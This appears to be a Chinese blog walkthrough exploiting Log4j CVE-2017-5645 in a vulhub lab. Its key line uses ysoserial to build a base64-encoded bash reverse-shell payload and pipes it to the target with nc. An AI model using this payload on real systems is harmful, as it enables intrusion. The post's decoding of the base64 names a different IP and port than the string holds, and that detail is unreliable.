Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

vuluhub搭建靶场

ysoserial是什么?

ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程"小工具链",在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。

ysoserial项目地址:

Release v0.0.6 · frohoff/ysoserial · GitHub

下载后打包成jar文件进行使用。

通过jar文件执行系统命令

创建一个文件看看

然后执行docker compose exec log4j bash进入容器,可见 /tmp/success 已成功创建:

试试反弹shell,这个要对被反弹语句进行给base64加密

如何构造pyload

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.201.128 4712

bash -c:这个选项告诉 Bash 执行后面的一系列命令。

{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMjkvNjY2NiAwPiYx}:这是一个经过 Base64 编码的命令字符串,解码后为bash -i >& /dev/tcp/192.168.188.185/4712 0>&1。意思是将 Bash 的输入和输出重定向到指定的 IP 地址和端口。

{base64,-d}:这个命令使用 base64 工具进行 Base64 解码。

{bash,-i}:这个命令会执行解码后的 Bash 命令,即与指定的 IP 地址和端口建立一个交互式的 Shell 连接。

成功拿到shell

涉及一下原理

主要是因为log4j的序列号机制,处理外来序列化数据时候。如果数据是恶意pyload,就会触发不安全的反序列化操作,导致名命令执行漏洞,通过java的流泪有关

CVE-2017-5645漏洞的产生源于Log4j的序列化机制。当Log4j处理来自外部的序列化数据时,如果数据经过恶意修改,可能会触发不安全的反序列化操作,进而导致攻击者执行任意代码。这种漏洞的产生通常与Java的ObjectInputStream类有关,该类在处理序列化数据时存在安全风险。

修复方法,升级版本

jian

kang

相关推荐
qq_411262421 天前
四博AI双目智能音箱方案:四路触控、震动马达、0.71/1.28双目光屏、三轴姿态感应,一键语音克隆和专属知识库
人工智能·apache·智能音箱
杰建云1672 天前
多门店商城小程序怎么做
大数据·apache
く成哦3 天前
部署Apache Gravitino项目及使用教程
jupyter·docker-compose·apache·trino·playground·gravitino
杰建云1673 天前
商家小程序有什么用
大数据·apache
盈建云系统3 天前
小程序表单提交、input 双向绑定,最简洁写法
前端·小程序·apache
Haibakeji3 天前
AI如何串联官网小程序APP多端用户体验
大数据·apache
淼淼爱喝水3 天前
Ansible 中 handler 与 notify 的作用与使用详解
linux·网络·apache·playbook
DolphinScheduler社区4 天前
Apache DolphinScheduler 与 Spring Cloud Data Flow:差异与优势解析
spring·spring cloud·apache·海豚调度·大数据工作流调度
SeaTunnel4 天前
Apache SeaTunnel 4 月有何新动作?连接器增强与 Zeta 稳定性提升等亮点速览
大数据·数据仓库·spark·apache·seatunnel